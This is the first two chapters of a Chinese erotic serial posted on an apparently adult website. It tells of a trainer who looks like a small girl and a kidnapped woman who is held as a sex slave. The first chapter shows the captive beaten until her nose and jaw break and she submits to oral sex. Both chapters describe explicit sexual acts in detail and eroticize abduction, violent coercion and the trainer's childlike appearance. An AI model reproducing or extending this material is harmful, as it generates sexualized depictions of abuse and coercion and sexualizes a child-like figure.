未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

艾萝调教日记1-28+番外篇


艾萝调教日记(1─5)
作者:indainoyakou 字数:32000 2013/08/23发表于:春满四合院 属性标籤:主奴、扶他、百合。
这篇是今年二月开始连载的主奴文,贫乳萝vs巨乳女的调教故事,请用吃 糖果的心情来看这篇文吧!已定稿的有二十多篇,因为每篇都要手动取三十五字 的长度做分行,一次做下来挺累的,存稿就五篇五篇的发,待追上连载进度了再 恢复到一次一篇的长度。
─────────────────────────────────────────────────
艾萝调教日记(1)
乌黑发亮的方格磁砖上,布满了打散脚步声的冰冷纹理。它们从以单人来说 尚算宽敞的走道,优雅且冷淡地攀上两侧墙壁,带着同样的纹路,继续朝不很遥 远的折角处作弯,最后在低矮的天花板上结成一块又一块黑底金线的神秘图腾。
两个单数步伐加上一个双数步伐,便见金线图腾充满暗示却又令人摸不着头 绪的图画。
一个单数步伐加上两个双数步伐,迎接步行者的就变成了暗红色垂晃着的肠 管状玩意。
不过,无论是冰冷黑砖抑或微暖肉饰,似乎都不对这里唯一的步行者产生丝 毫影响。
毕竟,她既没有为肠管感到烦躁的身高,也没有惧怕寒冷的身体。皮革马甲 和马靴所用的材质再怎幺差,多少能起一些保暖作用。
她对一三零这个数字很感冒,至于三十七则是还可以接受的样子。
银白色细发犹如包围住自身的纹理,以眉毛为分界点,整头长发笔直整齐地 下探到了腰际。
那张比起小女孩还要像小女孩、却总是希望被当作大人看待的稚气脸蛋,面 无表情但不致于索然无味地注视着前方。如果肯做出一点表情,应该会很可爱吧 。
只是一来她现在没有任何思绪,二来她讨厌别人像取悦小女孩那般说她可爱 。
再怎幺说,自己可是有着完美的乳房和阴茎的大人了──每当她被摸摸头时 ,实在希望对方能稍微注意到,自己那对随着三步一公尺的平稳步伐所跃动着的 双乳,还有塞在皮内裤里头的漂亮阴茎。
虽然马甲内的乳房看起来似乎有点不自然、肉棒常常不自觉地流出汁液、烦 人的睾丸每次都黏在阴唇之间,至少这可是她身为小女孩……不……是身为女人 的证明呀!
要是大家都能再有点自觉就好了。
站在房间前调整歪掉的乳房、湿得一踏糊涂的阴茎,安娜在心里头碎碎念个 两句,便转开门把。
§
日期记录:黑曜石。
预定事项:主人认知。
本人附注:第一个奴隶,最好提早进行观察。
§
她不知道自己为何在这里,或者之前自己都在做些什幺。记忆模糊到了无法 辨识的程度,只是觉得自己好像不该出现在这个地方。可是在白糊色的记忆之中 ,只有一个名字是绝绝对对清楚浮现的。
艾萝。
这个恍若大梦初醒,坐在病床上呆滞地左顾右盼的金发美女,不停用乾燥的 嘴唇喃喃着自己的名字。
典雅的黑色磁砖筑成一座稍嫌狭小的房间,她所躺的病床连同点滴架就放在 中间靠墙壁的地方。右手边的角落堆了些用过的点滴袋、针头还有些纱布,正面 天花板上有个对准病床的监视器,病床左前方则有着一扇几乎和墙壁合为一体的 房门。
她微微侧头,呆愣地注视闪烁着小红点的监视器。
房间内能够听到的,只有自己的呼吸和心跳,以及床边那几袋发出极细微声 响的点滴袋。
艾萝的视线迟缓穿越过镜头,放大了十六倍后呈现在监控室的萤幕墙上。
深秋稻穗般的金黄色长发。
参杂人工白化的浅米色肌肤。
若然不算入微深的轮廓,五官倒也挺别緻。
至少,不论是在她来自的西方世界,还是这座黑色世界,艾萝都称得上是个 难得的美女。
这样也才有她出手的价值。
安娜一手靠在沙发扶手上,面无表情地打量着十六格萤幕上的新奴隶。
距离麻药效果消退至安全程度,还有八分钟。
这段时间该怎幺打发呢……瘦小的调教师瞥了眼隆起的皮内裤,决定给自己 来场小小的热身。
七分五十四秒后……
「哈啊……哈啊……你这只欠操的母猪,嚐嚐安娜大人的肉棒吧……啊啊… …肮髒的肉穴好棒啊……咿、咿啊啊……」
马甲连同皮内裤完全卸下、赤裸嫩肌完全蜷缩在黑色地板上的调教师,似乎 先被萤幕墙上那张无知的呆滞脸蛋击败了四次──
「又、又要射啦……哈呜!」
──五次才对。
强压不住尿道内的炽热感,小小调教师那根将地板沾黏的阴茎,再度迸出稀 薄白液。
浑身发热的安娜垂开双腿,怀着从局部蔓延至全身的麻痒感,瘫软在地板上 微喘。
一不小心就弄了这幺多次……果然不该勉强禁欲的。
不管怎幺说,正值青春年华的少女,每天自慰个三次可是理所当然的事情啊 。禁欲八小时什幺的,实在太强人所难了。
等待着高潮余韵散去的安娜这般说服自己。
待方才吐过一遍的肉棒重振精神后,她飘飘然地穿起马甲。
然而,视线不经意地瞄到十六倍大的傻愣愣白脸蛋时,才套进皮内裤内的肉 棒又弹了出来。
「巨乳混蛋……竟敢如此对安娜大人不敬!」
自言自语的小小调教师甩动着不自然双乳和勃起肉棒,随后又觉得自己很蠢 的离开监控室。
来到艾萝所在的简陋病房前,她的小脑袋瓜野猫般甩了甩。
与其说是漆黑,倒不如说是黑得高贵的门扉从外头往内推开。
安娜来到了艾萝病床前。
「你是……」
艾萝维持那张从监控室里看到的呆愣模样,歪着头问道:
「迷路了吗?」
「……你还有闲工夫担心安娜大人啊。不过不劳你费心,安娜大人可不是迷 了路才来到这儿的。」
「是喔……那位安娜大人是谁?」
眼见艾萝仍旧一副状况外的呆貌,安娜只好挺起胸膛,顺便晃动那对她爱不 释手的胸部,神气活现地说:
「就是我,我啊!你的新主人,安娜列维大人!」
面前的矮冬瓜露出骄傲到彷彿鼻孔会就这幺喷出气来的表情,艾萝忽然觉得 很有趣,于是微笑着把手放到安娜头上摸了摸。
「所以小安娜不是迷路啰,真是太好了。」
摸头,摸头。
「……别像在宠小孩似地摸我!还有别叫我小安娜!我、我可是你的主人! 主人喔!要叫我安娜大人,或者是主人!听到了没啊就叫你别再摸啦!」
就算连珠炮似地纠正呆坐在病床上的新奴隶,似乎只是被当成脑袋有点问题 的小鬼头。于是安娜气急败坏地甩掉头顶上的手,一转眼便退到艾萝没办法伸手 抚摸的距离外。艾萝微笑着摀住嘴。
「谁叫小安……安娜大人的头发这幺冰凉柔顺。话说,为什幺你是我的主人 ?这里又是哪里?」
尽管在艾萝差点叫错时稍微动了动眉毛,还好最后仍然保持完美的大人肚量 。安娜噘起嘴说:
「你被卖掉啦,卖到这个地方成为安娜大人的奴隶。我也很难向你解释这里 是什幺地方,总之以后就会慢慢明白了啦!」
「这样啊。所以,我是来应徵佣人之类的工作,然后在获选时不小心跌倒、 撞到头后直到现在才醒来啰?」
「你啊……」
看着一脸认真推论着来龙去脉的艾萝,安娜实在不晓得该假装被逗得发笑, 还是该扇她个一巴掌好让她安静些。陷入反应泥淖的安娜最后选了临时冒出来的 作法。
「确切来说,你是被典当的抵押品喔。虽然安娜大人是不知道上头怎幺交易 啦,反正这个地方就是专门收容像你这种千金小姐,再由专属的调教师负责处理 。」
「嘿──听起来好像旧书铺卖的三流色情小说会写的内容喔。」
「不要一副事不关己的模样。」
「就算小安……安娜大人这幺说,我什幺都想不起来啊。」
「那重要吗?」
「这是什幺蠢问题,当然重要啊!我这个人过去是怎样的……」
「所以我说,你的过去对于你现在的处境,是很重要的救命绳索吗?」
明明只是个像小孩子的家伙。明明只是用着女孩般甜甜的声音。然而当安娜 如此问道,艾萝忽然噤声。
她说的没错。
对于脑袋里头那堆布满障碍的记忆,艾萝之所以想要釐清头绪,纯粹只是想 唤回明显失去的东西。可是这个东西到底对自己有没有助益,那又是另一回事了 。
现在的处境是──黑色房间、有点冷的空气、病床、点滴袋、纱布、针头、 小安娜、真假未明的典当说。
仔细将这些要素重新整合后,艾萝感到一阵晕眩。
不管怎幺看,自己绝对不是被以安全的方式送到这个鬼地方来的。
若用她脑子里浮现的说法,那就是──绑架、囚禁之类令人感到不快的字眼 。
安娜轻轻地笑了。
「看来你也会思考嘛。不过,那种东西以后有没有都没差啦。」
她再度来到病床前,这次没有被金发美女摸摸头。
「如果以后记忆会慢慢恢复,到时候再去怀念吧。现在你只要知道安娜大人 是你的调教师,是你唯一要仕奉的主人,明白这点就可以了。」
艾萝愣愣地看着眼前的安娜。
片刻之后,她才放弃为自己寻找逃避现实的藉口,面露妥协的苦笑。
「……你说的没错,我知道了。目前也只能这样对吧。」
银白色的长发整齐地抖动。
「好,我就当小安……安娜大人的奴隶啰。说起来,我负责打扫还是煮菜呢 ?」
「负责当安娜大人的性奴。」
「这、这个兴趣真是糟糕呢……」
「我认真的,不信你看。」
安娜伸出一只手指着下方,带领艾萝有点轻松的目光往自己私处移动。
小小的包茎肉棒一阵一阵地抖动于皮内裤上头,皱起的包皮已为透明汁液所 染湿。
「……噗。」
听闻艾萝看到肉棒后的第一个反应,安娜突然有股想扇对方两巴掌的冲动… …不过她想到自己是个大人,大人有大量,也就算了。没想到一手摀住嘴的艾萝 接着说:
「好可爱的小肉棒喔,最近的情趣商品越来越逼真了呢。」
「这是真……」
「哇,这个包皮摸起来好滑顺,肉棒也好软好热喔。」
「所以我说……」
「包皮可以翻开,还会流出汁液耶。皮底下还做出这幺逼真的微血管。这个 肯定很贵吧?」
「……这个是真的啦!是安娜大人的肉棒啦!呀呀呀!你这个愚蠢的英国巨 乳!不要一脸那幺好奇地玩弄安娜大人的肉棒!听到没!」
结果还是忍不住爆发了……看样子,即使是成熟稳重的大人,也是有忍不住 的时候哪。
英国巨乳噘着嘴收回手,露出了很是可惜的模样。明明同样是对肉棒怀有某 种渴望,安娜却一点儿也兴奋不起来,小小的老二自然又缩了一小截。
「哇!缩起来了!缩起来了耶!」
「可恶,给我认真一点啦!」
「好啦、好啦。」
艾萝装模作样耸了下肩,便缩起肩膀问道:
「所以我只要做安娜的性奴,服侍一下你的小鸡鸡,就可以吃饱睡暖啰?」
「是。还有别把我的肉棒说成小鸡鸡。」
「刚好我肚子也饿了,那我们就快点开始吧!」
艾萝拍了下手掌,一脸开心地收腿而坐,空出半张病床并拍两下床铺,要安 娜到她那边去。
不过,安娜只是往后退几步,双手扠着腰,站在黑色地板上盯着悠闲到哼起 歌的艾萝。艾萝见状,也只好撑着麻药刚退的身子下床,有点摇摇晃晃地来到安 娜面前。
她不算是非常高挑的女人,距离一百七也还有个两公分差距。可是和这位莫 名其妙就成为自己主人的安娜相比,一下子令她看起来宛如巨人一般。
安娜的脸蛋像个不愿服输的小女孩,维持手扠腰的站姿说:
「跪下。」
「什幺?」
「我说跪下。」
「喔、喔……」
艾萝似懂非懂地单脚屈膝,又在安娜简洁的指示下改成双膝跪地。这下她和 安娜差不多高了。
在下一道命令传达而来的短暂空档间,艾萝睁大眼睛凝视着安娜。
她没有见过白发少女或女孩的印象,至少现在是记不起来。但安娜那头银雪 般的长发,和白透了的小脸蛋十分相衬。就算是喜欢金发胜于一切的艾萝,也认 为还是白发适合这位自称是主人的小妹妹。
灰色的眼珠子眨也没眨,彷彿要贯穿艾萝那双圆圆大眼睛似地射过来。
「身体往下放,然后解开我的内裤。」
艾萝点点头,只觉得小安娜突然变得好无趣,也没说什幺就照着做。虽然小 安娜的表情和口吻变得无趣,那副白白嫩嫩有点婴儿肥的腹部却还是很可爱。艾 萝把脸降到安娜腹部前,眼睛来回游移光看就很滑嫩的肌肤和肉棒。在小肉棒因 她的眼光颤抖不已时,艾萝已环住安娜双腿,轻巧地拉开后腰处的绳结。
闪着微光的皮内裤,就随着艾萝那只绕转了四分之三圈的手悠悠解落。安娜 湿润的小肉棒轻轻弹了一下。
「让我看看你能做到什幺程度吧。」
安娜稍微垂着头对还是一脸大眼睛的艾萝这幺说,便将肉棒凑到艾萝鼻孔前 。蹭了两次,艾萝才迟顿地意会安娜的意思。
口交啊……自己以前好像也做过。反正就是用嘴巴吸吮着肉棒、直到对方射 精就可以了吧?
艾萝似懂非懂地侧头,思考了一会儿,才对湿濡到闪闪发亮的肉棒张开嘴巴 。
「喔……」
温暖柔滑的触感向内压缩至饱和,安娜面无表情地逸出小小的声音。
凭心而论,安娜也知道自己的肉棒并不大。即便能透过药物增大个几倍,实 际大小也就这样了。
但也正因如此,这根只比手指头大些的肉棒,才能不费吹灰之力没入艾萝之 口。
要说感觉嘛……龟头被唇瓣压住、往下推弄时,感觉还不赖。舌头不自觉地 碰触到尿道口和冠状下侧时,也挺好的。就算这女人只会死板地前后吸套着,也 有紧密的吸吮力可以弥补。
就新手来说,勉强算得上是可以射精的对象。
除了那无论如何都无法让安娜满意之处。
也就是艾萝那张带有好奇、认真和悠然的表情。即使正在替人口交,也散发 出一种游刃有余的学习氛围。
然而,这些却不是一个性奴隶应该呈现给新主人的感觉。
安娜以那副扠腰的姿态,吐出低沉的指示:
「我只说一次:用心服侍主人的肉棒。什幺都不要想,脑袋放空,只要知道 你必须倾尽全力取悦主人,这样就够了。」
听到安娜所说的话,含着肉棒的艾萝点了点头,加快了吸吮的动作。
用心服侍,这句话是什幺意思?难道我这样替她吹喇叭还不够吗?应该要吸 更快点对吧?
脑袋放空,这根本强人所难嘛。再怎幺说,就算她的肉棒好可爱,毕竟也是 排尿的地方,光这点就很让人胡思乱想呀。
脑子打一开始便没停止思考过的艾萝,一面在心里碎碎念个不停,一面加快 了口交的速度。
唯有那张脸蛋,依旧没有改变。
安娜悄悄地叹了口气。
许多调教师相信,最快和性奴缔结主从契约的方式,就是直接让对方享受到 肉体的快乐,或是让对方享受主人因她而快乐时所露出的表情。
简言之,就是凭藉主奴双方所产生的快感以强化契约。
但是,这其实并不能算得上有效率。
从根本来说,性奴要的不是单纯的快乐。
而是服从。
绝对的服从。
──安娜仰起脖子并拨弄半侧银发,大大的眼睛瞇了起来,孩童般的眉头也 严肃地微皱。
「你这个垃圾,看着我的眼睛。」
「咦……?」
前一刻还处于十分轻松的心情,就算知道对方完全变了张脸、气氛不大对劲 ,艾萝一时间仍无法反应过来。
「看着我的眼睛,艾萝!」
安娜声音突然变得十分严厉。艾萝震慑地松开嘴巴,牵起透明淫液抬头仰望 安娜。
就在灰色的眼珠子映入眼帘之际──
艾萝的世界倏然翻转。
左颊好痛。好热。好烫。然后是好麻。
黑色世界依循着某个规则转动,直到冷冽空气划过热烫肿起的肌肤、右耳至 后脑勺爆出一阵剧痛,快速变幻的世界才跟着停下来。
胸口迅速累积起巨大的沉闷感,随着背部撞击到地板的瞬间猛然跃出。那股 灰色的、浓厚的、沉重的感觉彷彿要揪出她的心脏般,非常强劲地向外扯动。
宛如被撕扯着的身体令她难以呼吸,后脑传来的震荡又让双眼无法对焦,意 识更是晕眩到噁心涌现。
「呃……呃……呜……」
艾萝用力地做出吸吐气的动作,身体不晓得哪里不对劲,就是无法顺利换气 。最后窜出喉咙的,只有热黏的痰水和难听的呻吟。
脑袋还在不断晃荡着,时而扭曲、时而清晰的眼前悠悠显现一双白皙小腿。
她努力让视线对焦,再从包覆整个头部的麻痛感中奋力仰起头。
模糊视线中,只见安娜盘着双臂,对自己射下冰冷的目光。
她不明白为何挨打。
莫名其妙就在这种地方醒来,莫名其妙就遇到自称主人的女孩,莫名奇妙就 开始替她吹喇叭,莫名奇妙就被她骂成垃圾还被打到脑袋好疼……
她觉得好委屈、好不满、好想生气、好想大哭……就在各种不开心的情绪涌 上心头时,另一边脸颊也挨了重重的一记,她又朝另一个方向摔了过去。
左眼附近撞到冰冰凉凉的地板上,发出好大的叩咚声。随后而至的热痛与麻 痺感,就在更强烈的震荡中袭向脑袋。
晕眩感让她全身好像都在胡乱翻转,又晕又噁,喉咙净是苦苦的气味,火热 的鼻腔充满铁的臭味。
「等……噁……」
两颊肿起来的艾萝狼狈地喃喃着。
尽管搞不懂为什幺要这样。她却有股感觉,自己应该是什幺地方出错了。
否则,小安娜也不会无缘无故殴打自己才对。
是我没让她的肉棒感觉到舒服吗?
艾萝目眩地仰望安娜的勃起肉棒。
龟头完全裸露在包皮外的肉棒,流出好多好多的透明汁液。
它兴奋抖动的样子……就好像在催促自己快去吹它。
艾萝努力想撑起身子到那根湿淋淋的肉棒前,安娜坚硬的拳头却又朝她飞来 。
一下。
两下。
三下。
四下。
第五下拳头敲在碎裂的鼻樑上时,艾萝已经翻了白眼、带着三条从鼻孔和嘴 巴流出的鲜红色血带,重重地往后倒下。
本来呆愣可爱的脸蛋,肿胀发青到简直判若两人。清澈泪水混入浓稠污血内 ,将凹凸不平的女子脸庞彻底打花。
「……」
艾萝倒卧在晕眩、剧痛、灼热以及麻痺感之中,流窜全身的血液彷彿都变成 刺骨的毒针,螫得她全身疼痛不已。
各种不愉快的色彩斑剥脱落的残影间,她感受到乘着恐惧而至的某样东西。
再这样下去会被打死。
会死。
可是我不想死。
无论如何都不想死。
──缓缓沉入痛苦深渊的意识,扭曲衰弱到只容得下求生的欲望,以及…… 微微腥臭的主人的肉棒。
目光再度对焦是好一会儿之后的事情了。
但是,那团肉色的模糊影像,却已在艾萝心里沉淀好长一段时间。
某道声音犹如虐待着发疼的脑袋的幻影般,硬是将言语化做坚硬的性器,强 暴着她痛得要命的脑子。
用心服侍主人的肉棒、用心服侍主人的肉棒、用心服侍主人的肉棒。
她盯着主人勃起流汁的老二,四周光秃秃的没有半根毛发,就只有看起来十 分可口的阴茎和睾丸。
用心服侍主人的肉棒、用心服侍主人的肉棒、用心服侍主人的肉棒、用心服 侍主人的肉棒、用心服侍主人的肉棒、用心服侍主人的肉棒。
她颤抖着撑开嘴唇,破碎的下颚和鼻樑却刺得她整张嘴都发疼。即使如此, 她还是努力地张开、再张开,直到嘴巴可以容纳那根小肉棒为止。
用心服侍主人的肉棒、用心服侍主人的肉棒、用心服侍主人的肉棒、用心服 侍用心服侍用心服侍用心服侍用心服侍主人的肉棒主人的肉棒主人的肉棒主人的 肉棒肉棒肉棒肉棒肉棒肉棒主人的肉棒。
她虚弱地攀到主人双腿之间,吃力地摆动颈子,直到微腥的阴茎用滑的滑入 自己痛到无法吸吮的嘴里为止。
「咕……呜……」
用心服侍……服侍主人的肉棒。
「呼……呜咕……咕嗯……」
娇小的主人抱住了头破血流的自己,无声无息地动起了腰。


艾萝调教日记(2)
日期记录:祖母绿。
预定事项:感度测试。
本人附注:强化骨骼打坏了,路上记得去报修……
§
颈项忽然一阵刺冷,艾萝不禁将身子缩进被窝里。
虽然说是被窝,不过就是随病床附赠的薄薄一件棉被,微黄表面实在令人怀 疑到底乾不乾净。在这种时候,也只能将就些了。
在感到恐惧降临的时候。
在主人来临的时候。
到底为什幺小安娜会变成自己的主人……自己又身在何方……这些事情已经 不重要。
因为这就是现实。
是一个若自己试图反抗,必定将遭逢苦难的现实。
她好讨厌那样。再也不想被主人打到头晕目眩、感觉到脸颊骨骼的碎裂感、 既痒又晕、既麻又痛地抗拒着死亡。
她打从心底发誓效忠她的主人。
以及主人美味的肉棒。
艾萝在逐渐升温的被窝内放松了身体,回想着唯一能令自己感到稍微开心的 一幅景象。
小安娜主人的肉棒,总是湿淋淋得很可口。
粉粉嫩嫩的包皮沾了淫水后闪闪发亮,漂亮的粉红色龟头十分柔软。
而且肉棒还挺小根的,口交时可以轻松将它完全吞进嘴里,吸吸舔舔也不费 力。
最重要的是……主人的腥味,并没有淫秽得令人想做爱,而是微腥微甜的微 妙气味。
如果能一直闻着那股味道带主人迎向高潮,说不定也能嚐到如此美味的精液 吧?
可惜……都怪自己当时太笨了。
没有用心服侍,所以主人才会一点也不兴奋,还生气了。
等到用心服侍,嘴巴早被主人打到没了知觉,又麻又肿。
要是自己早点开窍就好了。唉……
……话说回来,从那之后过了几天呢?
那绝不是梦。若没有那段让人害怕的过程,想必也不会发现自己的过失。
可是,今天醒来的时候,脸颊却没有那副惨状的痕迹。尽管脑袋有些晕眩, 那应该只是低血压的关系吧。总之,这个状态实在不像被打到快死掉的那个自己 。
唯一合理的推断,就是……
「一定休养了七天……或是十天吧?」
「不。急救五分钟,睡眠二十三小时又二十分钟。根本是一头吃饱睡、睡饱 吃的母猪。」
「哎呀,别这样说嘛──呃,咦?」
艾萝对那道回应自己的自言自语的声音报以傻笑,话没说完便察觉到哪里怪 怪的,于是连忙窜出被窝。
「小安娜主人!」
急急忙忙从床尾探出头的艾萝,也不顾一头窜到凌乱的金发,看到安娜的瞬 间便直呼主人。
「是安娜大人。」
不管怎幺看都只是个银发小女孩,却有着发育得有点过分的乳房、小巧可爱 的肉棒,再加上彷彿在装成熟的黑色马甲及黑色漆皮内裤,这就是她的主人。
安娜大人、安娜大人、安娜大人。
艾萝很快地在心里默念三遍后,急欲表现似地开心说道:
「小……安、安娜大人!」
「哼。」
主人没有很高兴的样子哪……看来要多多努力学着念这个称谓了。
安娜站到艾萝面前,以眼神示意要她解开内裤,艾萝毕恭毕敬地照做。随后 安娜便挺着半勃起的湿润肉棒坐到病床上,向艾萝招招手。艾萝挣脱温暖的被窝 ,伏在主人大腿间,双手拖着主人的屁股接着含入肉棒。
口感与气味就像记忆中那样,给人一股很放松的感觉。
艾萝享受着嘴唇与包皮的磨擦、舌头与龟头的推揉、唾液与淫汁的翻搅。每 个动作都蕴含着令主人喜悦的动机,每个动作同时令她感到服侍者的快乐与满足 。
咕啾。
主人随手盘起自己的金发时,嘴里发出了如此可爱的声音。
咕啾、咕啾。
艾萝试着更频繁地以舌根处的肌肉来吸吮,果然又和肉棒挤出了小小的声响 。
贪婪的唾液和肉棒吐出的淫水混在一块,既舍不得吞嚥,又不甘让它白白流 下。艾萝就混着越来越多的热液,任由肉棒在嘴里奏出淫靡的旋律。
她忽然觉得,只要有主人的肉棒就够了。
她渴望着搾取主人的白液,亦享受着被主人的性器所迷惑。
「咕嗯嗯……呼呜?」
伴随着咕啵一声,艾萝半垂的眼睛瞬间闪烁,便见脱离温热拥抱的肉棒稍微 离开了嘴,只有龟头还陷在嘴唇之后。
主人半抽出肉棒,转而抱住艾萝的头,两腿反曲着坐到她双臂上,然后缓慢 地摆动腰际。
「呜咕……嗯……嗯哼嗯……呼呜……」
有别于自己主动吸吮的照护感,主人亲自在自己嘴内抽插时,艾萝内心涌现 一股十分享受的悦乐。
她一会吸紧嘴腔,一会放松任由肉棒沖散黏唾,以各种所能想到的方式为主 人创造出柔柔的舒适感。
耳垂被主人指尖轻轻触动着,犹如缓慢的搔痒,让她忍不住起了鸡皮疙瘩。
虽然知道,自己被搔到痒处时就是会有这种反应。可现在身体呈现在主人眼 底下,想到这点就让她好难为情。
指头沿着耳垂往上挪动,推开凌乱金丝,接着整根手指都贴到了耳根上磨擦 着。
「嗯呜咕……!」
恍若被小小地电了一下,艾萝的表情只在眨眼间紧皱,随后和缓地发红。
每当主人的指头和肉棒同时施力时,艾萝的嘴腔就感受到搔至痒处的满足感 。她放松脸部肌肉,任凭肉棒顶撞她的嘴腔,再以舌尖释出微弱的抚弄。
就在这时,主人放开了她的耳朵,并且抽离肉棒。
啵啾。
粉红色龟头脱离粉红色双唇,牵起一道浓白唾液。裹着透明白沫的肉棒在她 鼻子前随身体动作摆荡着,那副模样,惹得艾萝心头一阵痒。
主人把碍事的被单随意扔开,便放开艾萝那不知不觉间给夹到发麻的双手。 主人就像一团软绵绵的云朵,压在自己身上也不会疼,很是轻巧地坐到自己背上 去。
艾萝感觉到了某种微妙的触感。
两瓣柔软的肉挤成了湿润的缝隙,它就落在主人重量中心稍微偏前方的位置 。再往前一小小段距离的肌肤,则是被微硬的肉棒给抵住。
艾萝的疑惑才刚冒出,旋即为背部受到的轻抚所驱散。
主人小小的手掌,正以极轻微的接触抚摸着背。
「啊嗯……」
当手掌由下往上推动时,手指和掌心维持水平,两边肌肤的接触若有似无, 十分奇妙。
当手掌由上往下滑落时,只剩下指尖轻微搔刮,所经之处皆绽开微弱的痒, 舒服至极。
如果说自己过去不那幺重视背部感触的话,艾萝还真为过去的自己感到羞耻 。
因为主人的抚摸,让她嚐到了有别于抚弄乳房或私处的新快感。
正当她悠闲地闭上双眼、准备再度享受背部传来那既痒又舒服的刺激时,主 人的指尖却往外绕上一大圈,来到了她稍嫌瘦了点的肩膀上。释放出力气的指腹 沿着肩膀落下,直到四指重新并拢、掌心压向肩膀肉,才在忽然加重的力道下缓 缓回升。
主人稍微用力地揉起了肩膀。
「呜啊──这个真棒呢──」
可是当艾萝一脸放松过了头、像个七十岁老奶奶似地发出感叹后,主人就「 呿」地一声略过了肩膀……
四指并齐后,由食指连至姆指所展开的弧度,似乎和艾萝微热的腋窝十分相 合。双腋夹紧主人的手侧肉时感觉好舒服,但是不管自己有没有舒服地出声,这 儿也是一次带过,就袭着微微的体味滑上手臂了。
主人为了抚摸自己的手臂到手指,还得将重心从腰际挪至后颈,这点让艾萝 感到可爱极了。她偷偷在心里想,娇小的主人努力做着某事的样子实在好可爱。 这股感觉加上后颈碰触到的肉缝、陷入发丝间的肉棒,就变成红到不行的脸蛋。
她好想吃……啊,不对,是好想服侍主人的肉棒。嗯,是用心服侍主人的肉 棒。
思及至此,肉棒就好像在诱惑自己一样,柔柔地贴上了左脸。
艾萝正欲转头之际──
「不许动。」
「呜……」
「忍耐一下,就会给你奖励。」
「奖励……好的。」
主人没有发出高兴或不满的声音,只是在搔过令艾萝稍微抽动的手背和手心 后,大动作地转了半圈,然后又压着柔软的肉瓣一路滑回腰际。
好像有点湿湿的触感……是主人的爱液吗?
艾萝悠闲地猜测那道湿液的气味,此时主人突然搔起左右两侧的腰。
「呜……噗咕……呵呼……」
不是自己的呻吟声突然变奇怪了,只是那边正好是自己的笑穴,直觉上又无 法随意放声大笑。艾萝只好紧咬嘴唇、拼命忍耐着一阵又一阵的笑意。
「呵嗯……啊……噗呵呵……」
只要忍耐一下就好了。忍耐到主人摸完这儿,很快就会转到其它地方去……
「噗……呵呵……咕呃呵……」
很快就会……
「噗、噗哈哈哈哈!啊哈哈哈哈哈!不、不要啦!噗呵、嘻哈哈哈哈!」
就这幺伴随着好几次失控的笑声,艾萝在痒感快要转化成痛觉的前一刻方才 获得解脱。
……原来主人根本是在玩弄我嘛。
即使主人什幺都没说,而且已经用有点舒服的力道抚摸起屁股肉,自己也不 会这幺轻易就原谅主人的。
不管怎幺说,这样持续玩弄笑穴也太过分了。
……可是不止被揉一次的屁股,连同被口水抹上的肛门,还是满舒服的……
主人不断揉着被唾液打湿的屁股,不时以指尖轻戳肛门,抚弄的时间也像是 在和逗自己笑的时候一样不断加长。
就算现在想弥补……就算现在才……嗯……
就算现在再小家子气,也太难看了。
因为自己……自己早就已经悄悄地呻吟了不是吗……
「声音很好听喔。」
「……!」
果然还是被听到了……事已至此,就算再怎幺坚持也没意义了。
「呼嗯……」
艾萝将方才的不谅解通通抛诸脑后,尽情享受着主人逗弄肛门和屁股的舒畅 感。
她没有和肛交相关的记忆,认知上也只视其为有点肮髒的排泄器官。
然而当主人在上头抹了口水、又推又揉地照料着屁股肉,并且不时戳弄着肛 门口时,她又感到自己希望被更进一步对待。
肛门被左右或上下拨翻,微启的穴口便渴望能被主人插入……
可是,每次她放下心想好好沉醉其中,主人却彷彿恶作剧的顽童般,突然就 从令她轻飘飘的敏感带溜向别处去了。
噗咚──如果主人小跃动的私处压在屁股上会发出什幺声音的话,就会像这 样可爱吧。
主人的爱液更多了,比刚才更热的肉棒,也陷在股沟间缓缓抖动着。
双腿后侧至脚背被指尖搔得微痒,但是没什幺感觉,除了第二笑穴的脚掌以 外。
不晓得主人是玩腻了呢,还是单纯没注意到,总之艾萝的脚掌只被搔得颤抖 了一下,主人便转而抚弄起脚趾头。
如若静下心来、放松全身力气去感受,这应该是棒透了的舒压按摩吧。
可惜现在的自己就是无法平平静静地感受。
内心的欲火根本不可能被主人的爱液……以及自己的淫液所浇熄。
啪!
忽然一阵清脆到足以敲碎艾萝那张苦恼面容的声音响起,接着是左边屁股传 来的轻微热痒感。
「转身躺好。」
在艾萝看向主人以前,就收到了这项并没有放入情绪的指令。
她乖乖照做。
只要乖巧听话,主人偶尔也会施点小惠。
例如像刚才那样玩弄着自己的屁股、肛门。
艾萝难掩开心地转了身,和面无表情,但是脸颊稍微红润的主人对上目光, 便加紧躺平。
乳房正朝身体两侧垂动之时,主人轻巧地跨坐上她的腰际,两手一伸就止住 了艾萝柔软的侧乳。
「嗯……」
无庸置疑。
即使敏感度不如私密处,乳房毕竟比肛门啊、手脚或者腰际之类的地方要有 感觉。如果连那些地方都很舒服了,指尖传递到胸部的温暖体温,想必也不是错 觉。
主人将肥软的双乳推向中间,掌心便柔顺地往内滑动约四十五度,接着带点 力道细心地拱起乳房。待托高的双乳渐渐越出手指筑成的矮墙,掌心再度回归乳 房外侧。
如此重覆至第二遍,艾萝湿润的唇瓣逸出愉快的呻吟。
「呜哼……」
就算知道这样的爱抚不会持续太久……只要在主人的掌心再度回归,或是再 度拱起胸部以前,稍稍贪恋着乳房被触摸的喜悦,这样就足够了。
沉浸在令唇瓣和私处同时牵出甜液的愉快中,艾萝突然小小地抖了下。
「哈呜……!」
主人温暖的掌心,不知不觉间已缩到乳晕上。朝掌心弯起的指间中,某颗浅 褐色的小东西不畏惧地直直挺立。
乳头被蜷起的食指及中指紧密夹住。轻微的拉扯中,传来了不很明显的刺痛 与细微快感。
但是比起乳头或乳房感受到的愉悦,牵引艾萝欲火的那样东西,是想要被爱 抚的渴望。
想要被像这样,刺激着乳头或什幺地方的爱抚。
「啊呜呜……这样……好棒……」
主人没有因为自己忍不住呻吟而停下动作,或是移往它处。在牛奶色的舒服 感之中,主人充满稚气的声音平淡地问道:
「喜欢吗?」
「嗯……喜欢……」
「呵呵。」
看你这幺享受的样子,就多照顾你一下吧──主人浅浅的笑声彷彿这般说道 。
比起搔痒腰际、揉翻屁股要更强烈的快感,就在主人特别延长的时间内不断 翻腾,使艾萝意识一再放松到就快变成只懂得享受的呆瓜了。
可就算是这样的呆瓜,也是主人最可爱的性奴。
艾萝轻触主人的手臂,感受主人爱抚自己时传至手臂的小小脉动。
就算这股感觉回流到主人心里时,或许只剩下无关痛痒的讯号,至少她能在 这个地方感觉着衰退中的鼓动。
那是自己被宠爱的证据。
